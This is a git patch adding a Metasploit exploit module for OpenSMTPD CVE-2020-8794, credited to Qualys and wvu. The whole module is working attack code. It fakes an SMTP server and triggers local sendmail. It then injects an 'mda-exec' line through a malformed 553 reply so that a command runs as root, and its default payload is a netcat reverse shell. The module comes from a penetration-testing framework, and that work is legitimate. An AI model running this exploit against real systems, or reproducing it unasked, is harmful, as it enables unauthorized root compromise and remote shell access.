From 89e5c4c2434fc3780490779c915e8994fbe05d0f Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 27 Feb 2020 02:18:01 -0600 Subject: [PATCH] Add OpenSMTPD CVE-2020-8794 LPE exploit --- .../unix/local/opensmtpd_oob_read_lpe.rb | 109 ++++++++++++++++++ 1 file changed, 109 insertions(+) create mode 100644 modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb diff --git a/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb b/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb new file mode 100644 index 0000000000000..925c55426208b --- /dev/null +++ b/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + + # smtpd(8) may crash on a malformed message + Rank = AverageRanking + + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::Expect + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation', + 'Description' => %q{ + This module exploits an out-of-bounds read of an attacker-controlled + string in OpenSMTPD's MTA implementation to execute a command as the + root user. + }, + 'Author' => [ + 'Qualys', # Discovery and PoC + 'wvu' # Module + ], + 'References' => [ + ['CVE', '2020-8794'], + ['URL', 'https://seclists.org/oss-sec/2020/q1/96'] + ], + 'DisclosureDate' => '2020-02-24', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [['OpenSMTPD >= commit a8e222352f', {}]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SRVPORT' => 25, + 'PAYLOAD' => 'cmd/unix/reverse_netcat', + 'WfsDelay' => 60 # May take a little while for mail to process + } + )) + + register_advanced_options([ + OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) + ]) + end + + def srvhost_addr + Rex::Socket.source_address(session.session_host) + end + + def rcpt_to + "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]" + end + + def exploit + start_service + + sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true" + + print_status("Executing local sendmail(8) command: #{sendmail}") + if cmd_exec(sendmail) != 'true' + fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?') + end + end + + def on_client_connect(client) + print_status("Client #{client.peerhost}:#{client.peerport} connected") + + # Brilliant work, Qualys! + yeet = <<~EOF + 553- + 553 + + dispatcher: local_mail + type: mda + mda-user: root + mda-exec: #{payload.encoded}; exit 0\x00 + EOF + + sploit = { + '220' => /EHLO /, + '250' => /MAIL FROM:<[^>]/, + yeet => nil + } + + print_status('Faking SMTP server and sending exploit') + sploit.each do |line, pattern| + send_expect( + line, + pattern, + sock: client, + newline: "\r\n", + timeout: datastore['ExpectTimeout'] + ) + end + rescue Timeout::Error => e + fail_with(Failure::TimeoutExpired, e.message) + ensure + print_status("Disconnecting client #{client.peerhost}:#{client.peerport}") + client.close + end + + def on_client_close(client) + print_status("Client #{client.peerhost}:#{client.peerport} disconnected") + end + +end